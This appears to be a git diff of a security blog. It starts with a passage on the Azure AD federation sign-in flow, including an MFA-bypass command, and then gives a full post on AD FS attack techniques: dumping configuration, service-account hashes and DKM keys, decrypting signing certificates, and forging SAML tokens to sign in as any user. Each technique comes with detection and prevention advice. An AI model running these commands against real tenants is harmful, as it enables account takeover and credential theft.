After checking that the public key matches, the signature of the SAML or SAML2 token are checked. Checking the signature allows Azure AD to make sure that the token is issued by the correct certificate, and that it is not tampered.
## 7. Is the signature valid?
If the signature is valid, authentication flow proceeds to the next step. If the signature is not valid, the following error is shown.
<a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes" target=_blank">Error codes</a>:
Error code | Message | Description
--- | --- | ---
AADSTS50008 | InvalidSamlToken - SAML assertion is missing or misconfigured in the token. | WSFED: The signature is invalid: the content of the token might have been altered.
AADSTS50006 | InvalidSignature - Signature verification failed because of an invalid signature | SAMLP: The signature is invalid: the content of the token might have been altered.
## 8. Search the user
After the validity of the token is confirmed, the corresponding user object is searched from the tenant. The token contains the users UserPrincipalName and ImmutableId. **Azure AD searches the user object using only the ImmutableId**; the UserPrincipalName is not used at all. Thus, the UserPrincipalName can be any string, such as rudolf@santaclaus.com.
The search procedure searches for a user object having the matching ImmutableId. I would like to emphasize that **there are no sanity checks whether the users domain matches the federation realm**. In practice, this allows all tenants IdPs to create valid tokens for any user of the tenant. This includes xxx.onmicrosoft.com and external users.
## 9. User found?
If the user object is found, the authentication flow proceeds to the final step. If not, the following error is shown.
<a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes" target=_blank">Error codes</a>:
Error code | Message | Description
--- | --- | ---
AADSTS51004 | UserAccountNotInDirectory - The user account doesnt exist in the directory. <br><br>The user account "ImmutableId" does not exist in the "tenant guid" directory. To sign into this application, the account must be added to the directory. | The user does not exist in the tenant.
## 10. Log the user in
The last step of the authentication flow is to log the user in.
After the login, post-authentication steps, such as **Multi-Factor Authentication (MFA)** and Conditional Access Policies are applied.
WS-FED token has a special functionality, which allows bypassing the MFA. This functionality is meant for the situation, where IdP performs MFA and the Azure AD MFA needs to be bypassed. This information is delivered to Azure AD using a special claim that can be embedded to WS-FED tokens. Azure AD bypasses MFA every time this claim is present in WS-FED token, regardless of has the IdP actually performed the MFA.
**Example:** Bypass the MFA using the backdoor created above in step 3.
{{< highlight powershell >}}
# Login and bypass MFA
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA $true
{{< /highlight>}}
@@ -1,608 +0,0 @@
+++
title = "Exporting AD FS certificates revisited: Tactics, Techniques and Procedures"
date = "2021-04-27"
lastmod = "2022-09-09"
categories =["blog"]
tags = ["Azure Active Directory","Azure","ADFS"]
thumbnail = "/images/posts/ADFS.png"
+++
I've talked about AD FS issues for a couple years now, and finally, after the Solorigate/Sunburst, the world is finally listening 😉
In this blog, I'll explain the currently known TTPs to exploit AD FS certificates, and introduce a totally new technique to export the configuration data remotely.
<!--more-->
# Introduction
I faced the first issues with the Office 365 / Azure AD identity federation in <a href="/post/federation-vulnerability/" target="_blank">2017</a>,
when I found out that you could login in as any user of the tenant, regardless were they federated or not. The requirement was that the **immutableId** property
of the user was known. The property would be populated automatically for all synced user, for non-synced user this is possible to set manually by admins.
I also knew that it was possible to create SAML tokens to exploit this, as long I would have access token signing certificate. I also knew that the certificate
was stored in the configuration database and encrypted with a key that was stored in AD. Regardless of the hours spent trying to solve the mystery, I just couldn't
decrypt the certificate.
But then came the <a href="https://troopers.de/troopers19/" target="_blank">TROOPERS19</a>, and the wonderful presentation <a href="https://www.slideshare.net/DouglasBienstock/troopers-19-i-am-ad-fs-and-so-can-you" target="_blank">I am AD FS and So Can You</a> by
Douglas Bienstock (<a href="https://twitter.com/doughsec">@doughsec</a>) and Austin Baker (<a href="https://twitter.com/BakedSec">@BakedSec</a>). Their seminal research finally revealed how to decrypt AD FS certificates!
The two famous tools were also introduced: <a href="https://github.com/fireeye/ADFSdump" target="_blank">ADFSDump</a> and <a href="https://github.com/fireeye/ADFSpoof" target="_blank">ADFSpoof</a>.
For short, to export AD FS token signing certificate, two things are needed: AD FS configuration data and certificate encryption key.
At late 2020, the world finally woke up after an attack against SolarWinds. The attack is better known as Solorigate or Sunburst, and among other things, it exploited the known AD FS issues to get access to SolarWinds' customers
Microsoft clouds. Since then, many providers (including Microsoft) have published a loads of material on how to detect such attacks and how to mitigate allready compromised environments.
In this blog, I'll deep-dive in to TTPs these attacks used, how to detect them, and how to protect from future attacks (where applicable).
AD FS certification export supports now all methods included in the **AD FS attack graph** I presented at <a href="https://troopers.de" target="_blank">TROOPERS</a> conference in June 2022 (presentation slide deck available <a href="/talks/Eight ways to compromise AD FS certificates.pdf">here</a>).
![AD FS attack graph](/images/posts/ADFS_12.png)
# Exporting configuration
Regardless of the deployment model, AD FS configuration is always stored to a database. For smaller environments, the Windows Internal Database (WID) is used, and Microsoft SQL for larger ones.
The actual configuration is an xml file, including all the settings of the AD FS service. The xml file has over 1000 lines, below is an exerpt with the interesting data.
{{< highlight xml "linenos=inline,hl_lines=9 21 32 42 68 69 70" >}}
<ServiceSettingsData xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<SecurityTokenService>
<AdditionalEncryptionTokens>
<CertificateReference>
<IsChainIncluded>false</IsChainIncluded>
<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
<FindValue>B7C09D5C2F434A2B746D200946202DE273A4B68C</FindValue>
<RawCertificate>MII[redacted]+RAh7dEypFVmcIyCd</RawCertificate>
<EncryptedPfx>AAAAA[redacted]Dbb5/gJLkQ==</EncryptedPfx>
<StoreNameValue>My</StoreNameValue>
<StoreLocationValue>CurrentUser</StoreLocationValue>
<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
</CertificateReference>
</AdditionalEncryptionTokens>
<AdditionalSigningTokens>
<CertificateReference>
<IsChainIncluded>false</IsChainIncluded>
<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
<FindValue>6FFF3A436D13EB299549F2BA93D485CBD050EB4F</FindValue>
<RawCertificate>MII[redacted]OzFUGmGWPXqLk</RawCertificate>
<EncryptedPfx>AAAAA[redacted]+evM94M17iG9P6VDFrA==</EncryptedPfx>
<StoreNameValue>My</StoreNameValue>
<StoreLocationValue>CurrentUser</StoreLocationValue>
<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
</CertificateReference>
</AdditionalSigningTokens>
<EncryptionToken>
<IsChainIncluded>false</IsChainIncluded>
<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
<FindValue>B7C09D5C2F434A2B746D200946202DE273A4B68C</FindValue>
<RawCertificate>MII[redacted]+RAh7dEypFVmcIyCd</RawCertificate>
<EncryptedPfx>AAAAA[redacted]Dbb5/gJLkQ==</EncryptedPfx>
<StoreNameValue>My</StoreNameValue>
<StoreLocationValue>CurrentUser</StoreLocationValue>
<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
</EncryptionToken>
<SigningToken>
<IsChainIncluded>false</IsChainIncluded>
<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
<FindValue>6FFF3A436D13EB299549F2BA93D485CBD050EB4F</FindValue>
<RawCertificate>MII[redacted]OzFUGmGWPXqLk</RawCertificate>
<EncryptedPfx>AAAAA[redacted]+evM94M17iG9P6VDFrA==</EncryptedPfx>
<StoreNameValue>My</StoreNameValue>
<StoreLocationValue>CurrentUser</StoreLocationValue>
<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
</SigningToken>
</SecurityTokenService>
<PolicyStore>
<AuthorizationPolicy>@RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2918793985-2280761178-2512057791-1134"])
=&gt; issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=&gt; issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
</AuthorizationPolicy>
<AuthorizationPolicyReadOnly>@RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2918793985-2280761178-2512057791-1134"])
=&gt; issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=&gt; issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
</AuthorizationPolicyReadOnly>
<DkmSettings>
<Group>87f0e958-be86-4c39-b469-ac94b5924bd2</Group>
<ContainerName>CN=ADFS</ContainerName>
<ParentContainerDn>CN=Microsoft,CN=Program Data,DC=aadinternals,DC=com</ParentContainerDn>
<PreferredReplica i:nil="true" />
<Enabled>true</Enabled>
</DkmSettings>
</PolicyStore>
</ServiceSettingsData>
{{< /highlight>}}
## Local
### Access config database
This scenario requires a local admin rights to AD FS server, and that WID is used to store configuration data. In this scenario, there is one Primary AD FS node, and one or more Secondary AD FS nodes.
All the management must be done in the primary node, from where all the secondary nodes will fetch the configuration once in five minutes:
![AD FS with WID](/images/posts/ADFS_01.png)
The configuration can be exported from any AD FS server of the farm, regardless are they primary or secondary nodes.
Technically, the export is performed by executing a SQL query against the WID:
![AD FS with WID](/images/posts/ADFS_02.png)
The database connection string can be queried using WMI:
{{< highlight powershell>}}
(Get-WmiObject -Namespace root/AD FS -Class SecurityTokenService).ConfigurationDatabaseConnectionString
{{< /highlight>}}
For Windows Server 2019 AD FS the connection string is:
```
Data Source=np:\\.\pipe\microsoft##wid\tsql\query;Initial Catalog=ADFSConfigurationV4;Integrated Security=True
```
The actual configuration data can now be fetched with the following SQL query:
{{< highlight SQL>}}
SELECT ServiceSettingsData from IdentityServerPolicy.ServiceSettings
{{< /highlight>}}
To export the configuration with AADInternals:
{{< highlight powershell>}}
# Export configuration and store to variable
$ADFSConfig = Export-AADIntADFSConfiguration -Local
{{< /highlight>}}
Or, to save it to a file:
{{< highlight powershell>}}
# Export configuration to file
Export-AADIntAD SConfiguration | Set-Content ADFSConfig.xml -Encoding UTF8
{{< /highlight>}}
Another technique requiring access to AD FS server would be to download the configuration database from a remote computer same way as Dirk-Jan Mollena (<a href="https://twitter.com/_dirkjan" target="_blank">@_dirkjan</a>) does with his <a href="https://github.com/fox-it/adconnectdump" target="_blank">adconnectdump</a> tool.
However, AFAIK, this has not implemented yet.
### Detecting access to config database
Exploiting this scenario requires logging in to AD FS server. As such, the exploitation can be detected by:
* Monitoring the Security log for the suspicious logons
* Enabling audit logging in WID for ServiceSettings queries and monitoring for suspicious access
To enable AD FS audit logging, connect to WID database by SQL Management Studio or **sqlcmd** using database information from connection string above:
```
sqlcmd -S \\.\pipe\microsoft##wid\tsql\query
```
The following SQL query will enable logging for all SELECT statements against ServiceSettings table.
The server level auditing created in row 3 is attached to **Application Log** and enabled in row 5. In row 7, use the correct database name from the connection string above (depends on the AD FS version).
The database level auditing is defined in row 9 to include all SELECT statements against ServiceSettings table, and enabled in row 11.
{{< highlight sql "hl_lines=7" >}}
USE [master]
GO
CREATE SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
GO
ALTER SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] WITH (STATE = ON)
GO
USE [ADFSConfigurationV4]
GO
CREATE DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_ACCESS_AUDIT] FOR SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] ADD (SELECT ON OBJECT::[IdentityServerPolicy].[ServiceSettings] BY [public])
GO
ALTER DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_ACCESS_AUDIT] WITH (STATE = ON)
GO
{{< /highlight >}}
As a result, all queries for ServiceSettings are now logged to Application log with **event id 33205**. If the **server_principal_name** is not the AD FS service user, the alert should be raised.
![AD FS with WID](/images/posts/ADFS_03.png)
The server level auditing will generate some extra log events, but database level audit should only include the local exports.
### Preventing access to config database
Dumping databases locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.
### .NET reflection
This technique also requires a local admin rights to AD FS server. Basic idea is to run a legit <a href="https://docs.microsoft.com/en-us/powershell/module/adfs/get-adfsproperties" target="_blank">Get&#8209;AdfsProperties</a> command and
get the configuration using .NET reflection. This technique was introduced in Microsoft's <a href="https://github.com/microsoft/adfsToolbox" target="_blank">ADFSToolbox</a>.
ADFSToolbox contains tools "for helping you manage your AD FS farm".
The source code of <a href="https://github.com/Microsoft/adfsToolbox/blob/master/serviceAccountModule/Tests/Test.ServiceAccount.ps1#L199-L208">Test.ServiceAccount.ps1</a> file shows the following:
{{< highlight PowerShell "linenos=inline,linenostart=199">}}
# Gets internal ADFS settings by extracting them Get-AdfsProperties
function Get-AdfsInternalSettings()
{
$settings = Get-AdfsProperties
$settingsType = $settings.GetType()
$propInfo = $settingsType.GetProperty("ServiceSettingsData", [System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic)
$internalSettings = $propInfo.GetValue($settings, $null)
return $internalSettings
}
{{< /highlight >}}
### Detecting and preventing .NET reflection
As this technique is using legit AD FS management cmdlet, it practically can't be detected or prevented, but the limiting access to a minimum would reduce the attack surface.
## Remote as AD FS service account
Dumping the configuration remotely is a totally new functionality in AADInternals and it required a lot of refactoring of Kerberos related functionality :sweat_smile:
The idea for this was given by my colleague **Ryan Cobb** from Secureworks a couple of weeks ago. After tweeting about this new finding, it turned out that, coincidentally, **@doughsec** had also
researched the same technique a couple of months earlier. The report by **@doughsec** is available <a href="https://www.fireeye.com/blog/threat-research/2021/04/abusing-replication-stealing-adfs-secrets-over-the-network.html" target="_blank">here</a>,
I'll post a detailed blog about my research process later.
The basic idea here is to emulate the AD FS synchronisation by pretending to be the AD FS service:
![AD FS sync](/images/posts/ADFS_04.png)
It turned out that the "AD FS sync" is using SOAP for getting settings. The interesting part is that the whole process takes place using http (not https) and can therefore be monitored by using a proxy like Fiddler or Burp.
However, the content of the SOAP messages are encrypted. I'll not dive into details in this blog, but the process involves Kerberos authentication and exchanging a bunch of encryption keys.
I had earlier implemented functionality to create Kerberos tokens to exploit Seamless SSO. To get it to work with AD FS, I had to do some modifications, but that is also another story 😉
Getting the configuration remotely requires a couple of things:
* Ip address or FQDN of **any AD FS server**
* NTHash of the AD FS service user
* SID of the AD FS service user
With the NTHash and SID, we can craft a Kerberos token and use it to authenticate against AD FS. After the authentication is completed, we can send an (encrypted) SOAP message to:
```
http://<server>/ADFS/services/policystoretransfer
```
The SOAP message would contain the following payload:
{{< highlight xml >}}
<GetState xmlns="http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore">
<serviceObjectType>ServiceSettings</serviceObjectType>
<mask xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<filter xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<clientVersionNumber>1</clientVersionNumber>
</GetState>
{{< /highlight >}}
Getting the AD FS service user's NTHash would usually require tools like <a href="https://github.com/gentilkiwi/mimikatz/wiki" target="_blank">Mimikatz</a> or <a href="https://github.com/MichaelGrafnetter/DSInternals" target="_blank">DSInternals</a>.
To make it easier for **AADInternals** users, I've included a slighty modified **DSInternals.Replication** functionality which allows getting user information directly from Domain Controllers by emulating DCSync.
First, we need to get the object guid of the AD FS service user. Below I'm using sv_ADFS but that depends on your configuration.
{{< highlight powershell >}}
Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq sv_ADFS | Format-List Name,ObjectGuid,ObjectSid
{{< /highlight >}}
```
Name : sv_ADFS
ObjectGuid : b6366885-73f0-4239-9cd9-4f44a0a7bc79
ObjectSid : S-1-5-21-1332519571-494820645-211741994-8710
```
Next, we can query the NTHash of the AD FS service user, which requires credentials having replication permissions.
{{< highlight powershell >}}
# Save credentials to a variable
$cred = Get-Credential
# Get the NTHash as hex string
Get-AADIntADUserNTHash -ObjectGuid "b6366885-73f0-4239-9cd9-4f44a0a7bc79" -Credentials $creds -Server dc.company.com -AsHex
{{< /highlight >}}
```
6e36047d34057fbb8a4e0ce8933c73cf
```
Another option to get NTHash is to get AD FS service account's password from AD FS server (requires local admin rights):
{{< highlight powershell >}}
# Get NTHash of the AD FS service account
Get-AADIntLSASecrets -AccountName sv_ADFS | Select-Object -ExpandProperty MD4Txt
{{< /highlight >}}
```
6e36047d34057fbb8a4e0ce8933c73cf
```
Finally, as we have all we need, we can get the configuration remotely:
{{< highlight powershell >}}
# Export configuration remotely and store to variable
$ADFSConfig = Export-AADIntADFSConfiguration -Hash "6e36047d34057fbb8a4e0ce8933c73cf" -SID "S-1-5-21-1332519571-494820645-211741994-8710" -Server sts.company.com
{{< /highlight >}}
**Note!** Getting configuration remotely **works also when using the full SQL for storing the configuration data**. In this scenario, there
are no primary or secondary servers because all servers are using a centralised database.
As such, **there is no need for the AD FS sync and it should not be enabled at all**!
However, this how Microsoft designed AD FS, so there is nothing we can do about it 😞
### Detecting
AD FS configuration sync is not logged to anywhere. However, enabling AD FS Tracing, will record **event id 54**, which indicates a succesful authentication:
![AD FS tracing](/images/posts/ADFS_05.png)
If the authentication timestamp is out of normal sync times, or from "wrong" computer, an alert should be raised.
### Preventing
AD FS service requires that https traffic is allowed. Http traffic is only used by load balancers to probe whether the AD FS service is up or not:
```
http://<server>/ADFS/probe
```
As such, allowing http traffic only from other AD FS servers, proxies, and load balancers would reduce the attack surface.
## Remote as any user
Attackers may also <a href="#editing-policy-store-rules" target="_blank">alter the Policy Store Rules</a> to allow anyone to read the configuration.
**AADInternals** supports exporting the configuration remotely as the logged in user since v0.4.9.
{{< highlight powershell >}}
# Export configuration remotely as a logged in user and store to variable
$ADFSConfig = Export-AADIntADFSConfiguration -Server sts.company.com -AsLoggedInUser
{{< /highlight>}}
### Detecting
For the AD FS servers, same detection techniques apply as above. However, now the user dumping configuration will first need to get Kerberos token from the DC.
As such, we can monitor for any suspicious login activities.
### Preventing
Blocking all http traffic (port 80) to AD FS servers would prevent exporting the configuration.
# Editing Policy Store Rules
Besides exporting the configuration, adversaries can also edit the configuration. This scenario requires a local admin rights to AD FS server, and that WID is used to store configuration data.
The access to configuration data is limited by **Policy Store Rules**. The default rules are similar to following:
```
AuthorizationPolicyReadOnly : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
AuthorizationPolicy : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
```
As we can see, there are two rules: one for Read-Write permissions and one for Read-Only permission. The rules are defined using <a href="https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/ad-fs-2-0-claims-rule-language-primer/ba-p/399789" target="_blank">AD FS Claims Rule Language</a>.
As such, we can define as complex rules for giving permissions as we want to. The default rules are assigning RW permissions to the Local Administrators (group) and to AD FS service user (user or gMSA).
During the initial attack/compromise, adversaries often would like to have more persistent access to the configuration data. The easiest way to achieve this is to allow read permissions to all users. **AADInternals** supports editing the Policy Store Rules since v0.4.8.
Technically, the export is edited by executing a SQL query against the WID:
![AD FS with WID](/images/posts/ADFS_02.png)
The following script will change the Read-Only permission so that anyone can get the configuration - RW permissions remain intact.
{{< highlight powershell >}}
# Get Policy Store Authorisation Policy rules from the local AD FS
$authPolicy = Get-AADIntADFSPolicyStoreRules
# Get the configuration from the local AD FS server and set read-only policy to allow all to read
$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy
# Set the configuration to the local AD FS database
Set-AADIntADFSConfiguration -Configuration $config
{{< /highlight>}}
The resulting rule for AuthorizationPolicyReadOnly:
```
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
```
As a result, exporting AD FS configuration remotely doesn't require Local Admin permissions on the AD FS server or AD FS service account credentials/hash. Any use who can log in to the domain (or AD FS server) can now export the configuration remotely.
## Detecting
Detection happens in a similar manner than in exporting the local configuration. The following SQL query will enable logging for all UPDATE statements against ServiceSettings table.
{{< highlight sql >}}
USE [master]
GO
CREATE SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
GO
ALTER SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] WITH (STATE = ON)
GO
USE [ADFSConfigurationV4]
GO
CREATE DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_UPDATE_AUDIT] FOR SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] ADD (UPDATE ON OBJECT::[IdentityServerPolicy].[ServiceSettings] BY [public])
GO
ALTER DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_UPDATE_AUDIT] WITH (STATE = ON)
GO
{{< /highlight >}}
Now all edit events are logged to the Application log:
![AD FS with WID](/images/posts/ADFS_11.png)
## Preventing
Editing database locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.
# Exporting configuration encryption key
AD FS is using Distributed Key Manager (DKM) container to store the configuration encryption key in Active Directory. Container location is included in the configuration xml (lines 69 and 70).
Inside the container there are one or more "Groups". The correct group is also included in the configuration xml (line 68). Inside the group, there are two (or more) contact objects.
One of those objects is always named to "CryptoPolicy" and its **DisplayName** attribute is a GUID. The encryption key is located in the object, which has an "**l**" (location) attribute value matching
the **DisplayName of the CryptoPolicy object**.
![AD FS encryption key](/images/posts/ADFS_06.png)
## Local (.NET reflection)
The local export here refers to export taking place on AD FS server. This technique is also using .NET reflection as introduced in <a href="https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor" target="_blank">FoggyWeb</a>:
![FoggyWeb](/images/posts/ADFS_15.png)
The basic idea here is to use AD FS binaries to get the key for you, making it extremely stealthy.
However, the code must be run as AD FS service account. Long story short, I solved this challenge by running a custom made service as AD FS service account.
![export using service](/images/posts/ADFS_14.png)
After the service is started, it will listen a named pipe to get configuration sent by AADInternals. After receiving the configuration, the service
will use .NET reflection to get the DKM key from AD and returns it to AADInternals via named pipe. Source code of the service available in <a href="https://github.com/Gerenios/public/blob/master/KDFDumpService.cs" target="_blank">github</a>.
To export the key with AADInternals:
{{< highlight powershell >}}
# Export encryption key and store to variable
$ADFSKey = Export-AADIntEncryptionKey -Local -Configuration $ADFSConfig
{{< /highlight >}}
### Detecting
Detecting the encryption key export is based on enabling auditing the access to AD FS DKM container.
For instance, Roberto Rodriguez (<a href="https://twitter.com/Cyb3rWard0g/" target="_blank">@Cyb3rWard0g</a>) has published a great <a href="https://threathunterplaybook.com/library/windows/adfs_dkm_keys.html" target="_blank">article</a>
on how to enable auditing.
However, as this technique is using AD FS binaries as AD FS service account to access DKM container, it is in practice undetectable.
On AD FS server, the service used to get the key is present for a very brief time:
![aadinternals service](/images/posts/ADFS_16.png)
Monitoring creation of new services, especially those running as AD FS service account, helps to detect execution of this technique.
### Preventing
Exporting the encryption key locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.
## Remote
Exporting the encryption key remotely is using DCSync. As such, the credentials with directory replication rights are needed, but the actual export can be performed from any computer.
Also the object guid of the DKM object is needed.
![remote encryption key export](/images/posts/ADFS_09.png)
{{< highlight powershell >}}
# Save credentials to a variable
$cred = Get-Credential
# Export encryption key remotely and store to variable
$ADFSKey = Export-AADIntADFSEncryptionKey -Server dc.company.com -Credentials $cred -ObjectGuid "930e004a-4486-4f58-aead-268e41c0531e"
{{< /highlight >}}
### Detecting
Technically, the encryption key is fetched using DCSync. As such, it will generate **event id 4662** to Security log. However, the access to DKM container is NOT detected.
![detecting remote key export](/images/posts/ADFS_10.png)
### Preventing
In practice, exporting the encryption key remotely can not prevented, but limiting the replication rights would reduce the attack surface.
# Exporting AD FS certificates
After exporting the configuration and encryption key, we are ready to decrypt the AD FS certificates. As we can see from the configuration xml, it includes certificates for Signing Token (line 42) and Encryption Token (line 32).
Also "additional" certificates for signing token (line 21) and encryption token (line 9) are included. These additional certificates are (usually) generated automatically, when the currently used
certificates getting near their expiration date. If the additional certificates are same than "current" certificates, they are not exported.
To export AD FS certificates to the current directory:
{{< highlight powershell >}}
# Export AD FS certificates
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey
{{< /highlight >}}
If you are running this on AD FS server, you can omit the parameters:
{{< highlight powershell >}}
# Export AD FS certificates on AD FS server
Export-AADIntADFSCertificates
{{< /highlight >}}
# Exploiting
To exploit the Azure AD with the exported AD FS signing certificates, we need to know:
* The issuer URI of the AD FS service
* ImmutableId of the user we want to login as
First, lets get the issuer URI. It can be fetched from the Azure AD or from the AD FS server.
To get the issuer URI from Azure AD using MsOnline PS module:
{{< highlight powershell >}}
# Get the issuer URI
$Issuer = (Get-MsolDomainFederationSettings -DomainName <domain>).IssuerUri
{{< /highlight >}}
To get the issuer URI from the AD FS server:
{{< highlight powershell >}}
# Get the issuer URI
$Issuer = (Get-ADFSProperties).Identifier.OriginalString
{{< /highlight >}}
**Note:** If AD FS is configured using Azure AD Connect, the OriginalString may NOT equal to issuer uri registered to Azure AD!
Next, we need the ImmutableId of the user we want to logon as. The ImmutableId can also be fetched from the Azure AD or from on-prem AD (ImmutableId is Base64 encoded ObjectGuid of the user's on-prem AD account).
To get users and immutable id's from Azure AD using MsOnline PS module:
{{< highlight powershell >}}
# Get ImmutableIds
Get-MsolUser | select UserPrincipalName,ImmutableId
{{< /highlight >}}
To get users and immutable id's from on-prem AD using AzureAD PS module:
{{< highlight powershell >}}
# Get ImmutableIds
Get-ADUser -Filter * | select UserPrincipalname,@{Name = "ImmutableId" ; Expression = { "$([Convert]::ToBase64String(([guid]$_.ObjectGuid).ToByteArray())) "}}
{{< /highlight >}}
```
UserPrincipalname ImmutableId
----------------- -----------
AlexW@company.com Ryo4MuvXW0muelHOefJ9yg==
AllanD@company.com Eo+jOAQegUi6rEy8+Yu1Rg==
DiegoS@company.com cl/bTG5zJku9VynOaXYaeQ==
IsaiahL@company.com iZaESRicxECDk5bN7gZhPg==
JoniS@company.com iGyyi+gq40u409PXjE3yRg==
LynneR@company.com QpHd34ay4UKo0whX6hui3g==
MeganB@company.com 31YCEbfrMUCefem7zlPYTg==
NestorW@company.com jyEyYWLzKkSpq3bERRG+PQ==
PattiF@company.com xTuqzBwFbUePyPGRRA1R4g==
SamiL@company.com VlUqJm8rrUeAhrhJGIhYsQ==
MarkR@company.com J1OAD14fgEWTMjLqQL5+/g==
```
Now we can login as any user whose ImmutableId is known. The following command will open a Chrome browser and log the user automatically in.
{{< highlight powershell >}}
# Open Office 365 portal as the given user
Open-AADIntOffice365Portal -ImmutableID iZaESRicxECDk5bN7gZhPg== -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer -Browser Chrome
{{< /highlight >}}
We can also use the same information to get access token to any Office 365/Azure AD service we like:
{{< highlight powershell >}}
# Create a SAML token
$saml = New-AADIntSAMLToken -ImmutableID iZaESRicxECDk5bN7gZhPg== -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer
# Get access token for Outlook
Get-AADIntAccessTokenForEXO -SAMLToken $saml -SaveToCache
{{< /highlight >}}
```
Tenant User Resource Client
------ ---- -------- ------
112d9bdc-b677-4a5f-8650-2948dbedb02f IsaiahL@company.com https://outlook.office365.com d3590ed6-52b3-4102-aeff-aad2292ab01c
```
# Summary
In this blog post, I introduced various techniques how to export AD FS configuration data and encryption key to extract the AD FS certificates. Corresponding detection and prevention
techniques were also introduced.
# References
* Douglas Bienstock and Austin Baker: <a href="https://www.slideshare.net/DouglasBienstock/troopers-19-i-am-ad-fs-and-so-can-you" target="_blank">I am AD FS and So Can You</a>
* Fireeye: <a href="https://github.com/fireeye/ADFSdump" target="_blank">ADFSDump</a>
* Fireeye: <a href="https://github.com/fireeye/ADFSpoof" target="_blank">ADFSpoof</a>
* Microsoft: <a href="https://github.com/microsoft/adfsToolbox" target="_blank">ADFSToolbox</a>, <a href="https://github.com/Microsoft/adfsToolbox/blob/master/serviceAccountModule/Tests/Test.ServiceAccount.ps1#L199-L208">Test.ServiceAccount.ps1</a>
* Douglas Bienstock / Fireeye: <a href="https://www.fireeye.com/blog/threat-research/2021/04/abusing-replication-stealing-adfs-secrets-over-the-network.html" target="_blank">Abusing Replication: Stealing AD FS Secrets Over the Network</a>
* Dirk-Jan Mollena: <a href="https://github.com/fox-it/adconnectdump" target="_blank">adconnectdump</a>
* Benjamin Delby: <a href="https://github.com/gentilkiwi/mimikatz/wiki" target="_blank">Mimikatz</a>
* Michael Grafnetter: <a href="https://github.com/MichaelGrafnetter/DSInternals" target="_blank">DSInternals</a>
* Microsoft: <a href="https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor" target="_blank">FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor</a>
